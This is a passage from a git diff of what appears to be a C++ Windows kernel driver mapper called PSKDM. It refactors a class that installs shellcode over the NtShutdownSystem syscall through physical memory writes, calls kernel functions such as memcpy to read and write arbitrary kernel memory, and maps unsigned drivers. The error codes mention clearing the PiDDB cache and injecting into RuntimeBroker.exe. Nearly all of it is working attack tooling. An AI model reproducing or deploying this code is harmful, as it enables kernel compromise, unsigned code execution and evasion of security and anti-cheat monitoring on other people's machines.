+ return this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + + bool vdm_ctx::wkm(void* dst, void* src, std::size_t size) + { + static const auto ntoskrnl_memcpy = + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); + + return this->syscall( + ntoskrnl_memcpy, dst, src, size); + } + void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const { - const auto page_data = + const auto page_data = reinterpret_cast( VirtualAlloc( nullptr, @@ -49,7 +80,7 @@ namespace vdm if (vdm::syscall_address.load()) break; - if (!vdm::read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) + if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) continue; // check the first 32 bytes of the syscall, if its the same, test that its the correct @@ -60,7 +91,6 @@ namespace vdm reinterpret_cast( address + page + nt_page_offset)); } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); } @@ -81,11 +111,11 @@ namespace vdm std::uint8_t orig_bytes[sizeof shellcode]; // save original bytes and install shellcode... - vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - vdm::write_phys(syscall_addr, shellcode, sizeof shellcode); + read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, shellcode, sizeof shellcode); auto result = reinterpret_cast(proc)(); - vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); + write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result == STATUS_SUCCESS; } diff --git a/PSKDM/vdm_ctx/vdm_ctx.h b/PSKDM/vdm_ctx/vdm_ctx.hpp similarity index 70% rename from PSKDM/vdm_ctx/vdm_ctx.h rename to PSKDM/vdm_ctx/vdm_ctx.hpp index 7396687..84282c7 100644 --- a/PSKDM/vdm_ctx/vdm_ctx.h +++ b/PSKDM/vdm_ctx/vdm_ctx.hpp @@ -5,28 +5,35 @@ #include #include #include +#include #include "../vdm/vdm.hpp" namespace vdm { // change this to whatever you want :^) constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - inline std::atomic is_page_found = false; inline std::atomic syscall_address = nullptr; - inline std::uint16_t nt_page_offset; inline std::uint32_t nt_rva; inline std::uint8_t* ntoskrnl; + using read_phys_t = std::function; + using write_phys_t = std::function; + class vdm_ctx { public: - vdm_ctx(); + explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); + void set_read(read_phys_t& read_func); + void set_write(write_phys_t& write_func); + bool rkm(void* dst, void* src, std::size_t size); + bool wkm(void* dst, void* src, std::size_t size); + template __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const { - static const auto proc = + static const auto proc = GetProcAddress( LoadLibraryA(syscall_hook.second), syscall_hook.first @@ -46,12 +53,12 @@ namespace vdm std::uint8_t orig_bytes[sizeof jmp_code]; *reinterpret_cast(jmp_code + 6) = addr; - vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); // execute hook... - vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); + write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); auto result = reinterpret_cast(proc)(args ...); - vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); + write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); syscall_mutex.unlock(); return result; @@ -60,35 +67,15 @@ namespace vdm template __forceinline auto rkm(std::uintptr_t addr) -> T { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - T buffer; - this->syscall( - ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T); - + rkm((void*)&buffer, (void*)addr, sizeof T); return buffer; } template - __forceinline void wkm(std::uintptr_t addr, const T& value) + __forceinline auto wkm(std::uintptr_t addr, const T& value) -> bool { - static const auto ntoskrnl_memcpy = - util::get_kmodule_export("ntoskrnl.exe", "memcpy"); - - this->syscall( - ntoskrnl_memcpy, (void*)addr, &value, sizeof T); - } - - __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t - { - static const auto ntoskrnl_get_virtual = - util::get_kmodule_export( - "ntoskrnl.exe", - "MmGetVirtualForPhysical"); - - return this->syscall( - ntoskrnl_get_virtual, addr); + return wkm((void*)addr, (void*)&value, sizeof T); } __forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS @@ -106,8 +93,23 @@ namespace vdm ); return peproc; } + + __forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t + { + static const auto ntoskrnl_get_virtual = + util::get_kmodule_export( + "ntoskrnl.exe", + "MmGetVirtualForPhysical"); + + return this->syscall( + ntoskrnl_get_virtual, addr); + } + private: void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; bool valid_syscall(void* syscall_addr) const; + + read_phys_t read_phys; + write_phys_t write_phys; }; } \ No newline at end of file diff --git a/um-example/PSKDM.lib b/um-example/PSKDM.lib index e3cbb27..4d0e6a1 100644 Binary files a/um-example/PSKDM.lib and b/um-example/PSKDM.lib differ diff --git a/um-example/main.cpp b/um-example/main.cpp index 601130b..0cbbebb 100644 --- a/um-example/main.cpp +++ b/um-example/main.cpp @@ -20,10 +20,10 @@ int __cdecl main(int argc, char** argv) ( driver_data.data(), driver_data.size(), - nullptr + nullptr // you can pass your structure here... ); - std::printf("[+] driver mapping result -> 0x%x\n", result); + std::printf("[+] driver mapping result -> 0x%x (0 == STATUS_SUCCESS)\n", result); std::printf("[+] driver base address (usermode) -> 0x%p\n", driver_base); std::getchar(); } \ No newline at end of file diff --git a/um-example/map_driver.hpp b/um-example/map_driver.hpp index 3291a01..7e2fcf1 100644 --- a/um-example/map_driver.hpp +++ b/um-example/map_driver.hpp @@ -7,13 +7,14 @@ namespace mapper { enum class mapper_error { - error_success = 0x000, // everything is good! - image_invalid = 0x111, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) - load_error = 0x222, // unable to load signed driver into the kernel (are you running as admin?) - unload_error = 0x333, // unable to unload signed driver from kernel (are all handles to this driver closes?) - piddb_fail = 0x444, // piddb cache clearing failed... (are you using this code below windows 10?) - init_failed = 0x555, // setting up library dependancies failed! - failed_to_create_proc = 0x777 // was unable to create a new process to inject driver into! (RuntimeBroker.exe) + error_success, // everything is good! + image_invalid, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?) + load_error, // unable to load signed driver into the kernel (are you running as admin?) + unload_error, // unable to unload signed driver from kernel (are all handles to this driver closes?) + piddb_fail, // piddb cache clearing failed... (are you using this code below windows 10?) + init_failed, // setting up library dependancies failed! + failed_to_create_proc, // was unable to create a new process to inject driver into! (RuntimeBroker.exe) + set_mgr_failure // unable to stop working set manager thread... this thread can cause issues with PTM... }; /// @@ -23,5 +24,5 @@ namespace mapper /// size of the driver buffer /// data to be sent to the entry point of the driver... /// status of the driver being mapped, and base address of the driver... - std::pair map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data); + auto map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data) -> std::pair; } \ No newline at end of file